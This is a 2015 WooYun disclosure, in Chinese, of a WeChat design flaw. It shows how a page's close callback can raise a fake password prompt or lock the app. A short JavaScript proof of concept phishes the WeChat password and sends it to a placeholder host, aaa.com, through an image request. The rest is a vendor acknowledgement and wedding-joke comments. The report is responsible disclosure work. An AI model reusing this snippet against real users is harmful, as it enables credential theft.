当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0111191

漏洞标题：祝贺某人大婚-微信设计缺陷导致微信拒绝服务或获取用户密码

相关厂商：腾讯

漏洞作者： only_guest

提交时间：2015-04-30 10:55

修复时间：2015-06-14 14:24

公开时间：2015-06-14 14:24

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-30： 细节已通知厂商并且等待厂商处理中
2015-04-30： 厂商已经确认，细节仅向厂商公开
2015-05-10： 细节向核心白帽子及相关领域专家公开
2015-05-20： 细节向普通白帽子公开
2015-05-30： 细节向实习白帽子公开
2015-06-14： 细节向公众公开

简要描述：

微信设计缺陷导致微信拒绝服务或获取用户密码。

详细说明：

微信中打开一个网页后，在关闭的时候会把页面先挂起到后台1-2秒钟才关闭。
在这个时间段内使用prompt来把页面keep住，微信里面的网页用window.close是无法自己关闭页面的，我们要让用户打开页面后自动关闭并且弹窗就很难实现了。
但是微信给我们提供了一个很好的方法，当然这个方法是微信没有公开的方法。
WeixinJSBridge.invoke("closeWindow",{},function(e)
使用这个方法就可以自动关闭当前页面，并且在关闭的时候弹出prompt来keep住这个窗体。
prompt可以在用户关闭页面后在微信的聊天窗体中弹出。
此时提示用户输入敏感信息如密码等。
服务端任然可以接收到这些信息。
当然如果你无聊的话可以选择一直弹窗。让用户无法关闭。只能关闭微信进程，造成拒绝服务的效果。
总结吐下：
1. 点开页面
3. 在关闭的回调事件事件中使用 prompt 阻塞 webview 的线程
2. 使用 WeixinJSBridge 隐藏网页
5. prompt 触发，显示钓鱼框
6. 发送 prompt 接收到的数据到攻击者服务端
7. 1 - 2 秒后线程自动关闭
效果图如下：

1.png


服务端收到的密码信息如下：

2.png

漏洞证明：

WeixinJSBridge.invoke("closeWindow",{},function(e){
		setTimeout(function(){new Image().src="http://aaa.com/?pwd="+escape(prompt("登录超时，请输入微信密码进行认证：",""))+"&hash="+Math.random();},800);
	});

修复方案：

安卓下面测试没有成功，iPhone下测试存在。
应该是为了在点击关闭按钮后即时切换页面导致的。
有了用户体验就没了安全
应该双向考虑

版权声明：转载请注明来源 only_guest@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-04-30 14:23

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-30 14:26 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    前排

  2. 2015-04-30 14:28 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    谁结婚？

  3. 2015-04-30 14:30 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生，这几个月忙着把屎把尿...忒...)

    又一大牛结婚了

  4. 2015-04-30 14:33 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    前排卖z7y贞操

  5. 2015-04-30 14:35 | er0tic ( 普通白帽子 | Rank:115 漏洞数:23 | 某X站首席鉴黄师。本人QQ 285866931)

    恭喜恭喜。

  6. 2015-04-30 14:36 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    我来给你生孩子

  7. 2015-04-30 14:50 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    到底谁结婚，难道是二哥，突然觉得自己好机智。PKAV来个结婚大礼包系列吧，给大家补脑补脑，哈哈

  8. 2015-04-30 14:51 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    难道是@px1624？

  9. 2015-04-30 15:10 | 酸奶、 ( 普通白帽子 | Rank:182 漏洞数:27 )

    祝贺某人大婚 xxx大礼包。@px1624

  10. 2015-04-30 15:29 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    祝贺某人大婚 xxx大礼包。@px1624 又看到 @only_guest

  11. 2015-04-30 15:30 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    虽然不知道是谁，但先表示祝贺一下

  12. 2015-04-30 17:38 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    祝贺

  13. 2015-04-30 18:01 | 某个路人 ( 路人 | Rank:16 漏洞数:6 | python)

    祝贺

  14. 2015-04-30 18:05 | jeary ( 普通白帽子 | Rank:296 漏洞数:106 | (:‮.kcaH eb nac gnihtynA))

    剑心结婚了.

  15. 2015-04-30 18:06 | 飘过的红花 ( 路人 | Rank:21 漏洞数:4 | 研究漏洞的方法、方式、工具及手段等是合法...)

    虽然不知道是谁，但先表示祝贺一下

  16. 2015-04-30 18:49 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    @px1624

  17. 2015-04-30 19:49 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    表示祝贺

  18. 2015-04-30 19:50 | Aug0st ( 普通白帽子 | Rank:105 漏洞数:32 | 看你后面~)

    祝贺

  19. 2015-04-30 20:14 | Chinalover ( 路人 | Rank:16 漏洞数:4 | 你看得到我打在屏幕上的字，却看不到我落在...)

    后排祝贺大牛

  20. 2015-04-30 20:34 | ÿÿ ( 路人 | Rank:6 漏洞数:4 | )

    @肉肉

  21. 2015-04-30 21:41 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @px1624 WB喜糖，快。

  22. 2015-04-30 22:40 | 無名老人 ( 路人 | Rank:15 漏洞数:3 | 干过开发，日过渗透，江湖人称： 少女杀手)

    恭喜

  23. 2015-04-30 23:04 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    肯定不是我，我不是pkav成员啊！

  24. 2015-06-14 14:35 | M0nNoey ( 路人 | Rank:13 漏洞数:4 | 感谢乌云)

    一张崇拜only_guest...

  25. 2015-06-14 15:46 | 嗯哼！ ( 路人 | Rank:0 漏洞数:2 | 人才有点二！)

    我以为会在漏洞描述哪儿，唠叨一下，谁知道什么也没说！。到底谁结婚？